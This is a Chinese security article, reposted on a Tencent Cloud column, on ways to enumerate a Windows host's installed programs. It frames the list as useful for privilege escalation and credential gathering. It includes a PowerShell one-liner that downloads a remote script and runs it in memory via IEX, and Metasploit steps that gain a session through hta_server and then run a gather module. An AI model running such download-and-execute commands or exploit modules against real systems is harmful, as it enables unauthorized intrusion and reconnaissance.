前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >获取主机已安装程序的多种方式

获取主机已安装程序的多种方式

作者头像
潇湘信安
发布2022-09-14 21:59:04
1.2K0
发布2022-09-14 21:59:04
举报
文章被收录于专栏:潇湘信安潇湘信安

0x01 前言

这篇文章我们主要讲的是获取主机已安装程序的多种方式,通过获取的软件及版本信息可用于权限提升、搜集密码等。因为有的方式获取不完整或者可能被安全防护软件拦截,所有我测试了多个方法,以备不时之需。

0x02 通过控制面板查看安装程序

我们先去控制面板看下总共安装了多少程序,开始菜单 -> 控制面板 -> 程序 -> 程序和功能,也可以在命令行下直接输入appwiz.cpl打开程序和功能查看。

图片
图片

0x03 通过WMI获取安装程序列表

WMI查询Win32_Product这种方式获取的已安装程序列表并不完整,因为这种方只能获取那些通过Windows Installer安装的程序,所以其它方式安装的程序就会无法获取。

代码语言:javascript
复制
wmic product get name,version
wmic /namespace:\\root\cimv2 path win32_product get name,version
Get-WmiObject -Class win32_product | Select-Object -Property name,version
图片
图片

通过这种方式查询已安装程序不仅很慢、而且不完整,还会产生大量应用程序日志,事件ID为:1035,所以并不推荐使用这种方式。

图片
图片

0x04 通过注册表获取安装程序列表

这种方式一般都是通过读取以下4个注册表项中的子健来获取主机上的已安装程序,每个子健代表一个已安装的程序,对应的是控制面板的程序和功能程序列表,Wow6432Node为32位。

代码语言:javascript
复制
HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
图片
图片
(1) mofcomp

Mofcomp.exe是系统自带的一个工具,用来编译mof文件,并将mof文件中的信息添加到WMI数据库中,可以用WMI Explorer工具来查看WMI支持的各种类。

图片
图片

所以我们可以直接通过Mofcomp.exe执行SampleProductsList.mof文件将读取到的注册表项中的子健结果添加进VMI数据库中,然后再用WMIC命令查询即可。

代码语言:javascript
复制
mofcomp.exe C:\ProgramData\SampleProductsList.mof
wmic /namespace:"\\root\default" path sampleproductslist get displayname,displayversion
wmic /namespace:"\\root\default" path sampleproductslist32 get displayname,displayversion
图片
图片
图片
图片

SampleProductsList.mof

代码语言:javascript
复制
// "AS-IS" sample MOF file for returning the two uninstall registry subkeys
// Unsupported, provided purely as a sample
// Requires compilation. Example: mofcomp.exe sampleproductslist.mof
// Implements sample classes: "SampleProductList" and "SampleProductlist32"
// (for 64-bit systems with 32-bit software)

#PRAGMA AUTORECOVER
[dynamic, provider("RegProv"),
ProviderClsid("{fe9af5c0-d3b6-11ce-a5b6-00aa00680c3f}"),ClassContext("local|HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall")]

class SampleProductsList {
[key] string KeyName;
[read, propertycontext("DisplayName")] string DisplayName;
[read, propertycontext("DisplayVersion")] string DisplayVersion;
};

[dynamic, provider("RegProv"),
ProviderClsid("{fe9af5c0-d3b6-11ce-a5b6-00aa00680c3f}"),ClassContext("local|HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432node\\Microsoft\\Windows\\CurrentVersion\\Uninstall")]

class SampleProductsList32 {
[key] string KeyName;
[read, propertycontext("DisplayName")] string DisplayName;
[read, propertycontext("DisplayVersion")] string DisplayVersion;
};
(2) Powershell

这个Powershell脚本是@3gstudent师傅写的,也是通过读取几个注册表项来获取主机上的已安装程序,加了个判断系统位数,自动判断注册表重定向,但这种方式在执行时肯定会被某数字防护拦截。

代码语言:javascript
复制
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.103:8888/ListInstalledPrograms.ps1'); ListPrograms
图片
图片

ListInstalledPrograms.ps1

代码语言:javascript
复制
<#
.SYNOPSIS
This script can be used to list the programs that the current Windows system has installed.
Supprot x86 and x64 
Author: 3gstudent@3gstudent
License: BSD 3-Clause
#>

Function ListPrograms
{  
param($RegPath)  
$QueryPath = dir $RegPath -Name
foreach($Name in $QueryPath)
{
(Get-ItemProperty -Path $RegPath$Name).DisplayName
#        (Get-ItemProperty -Path $RegPath$Name).Publisher
#        (Get-ItemProperty -Path $RegPath$Name).DisplayVersion
}
} 
if ([IntPtr]::Size -eq 8)
{
Write-Host "[*] OS: x64"
Write-Host "[*] List the 64 bit programs that have been installed"
$RegPath = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
ListPrograms -RegPath $RegPath

Write-Host "[+] List the 32 bit programs that have been installed"

$RegPath = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\"
ListPrograms -RegPath $RegPath
}
else
{
Write-Host "[*] OS: x86"
Write-Host "[*] List the 32 bit programs that have been installed"
$RegPath = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
ListPrograms -RegPath $RegPath
}
(3) Metasploit

首先利用hta_server模块获取一个会话,然后再用enum_applications模块获取主机上已安装的应用程序及其版本列表,虽然也能在会话中用run get_application_list获取,但并不完整。

代码语言:javascript
复制
msf5 exploit(windows/misc/hta_server) > use post/windows/gather/enum_applications
msf5 post(windows/gather/enum_applications) > set session 1
msf5 post(windows/gather/enum_applications) > exploit

meterpreter > run get_application_list
图片
图片
图片
图片

这是因为get_application_list这个脚本只读取x64的已安装应用程序列表,所以会少一些,而enum_applications这个模块同时读取x64和x32的已安装应用程序列表,所以比较完整。

图片
图片
图片
图片

参考链接:

代码语言:javascript
复制
https://3gstudent.github.io/渗透基础-获得当前系统已安装的程序列表
https://docs.microsoft.com/zh-cn/windows/win32/msi/windows-installer-portal
https://docs.microsoft.com/en-us/archive/blogs/askds/how-to-not-use-win32_product-in-group-policy-filtering
本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-06-27,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • (1) mofcomp
  • (2) Powershell
  • (3) Metasploit
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com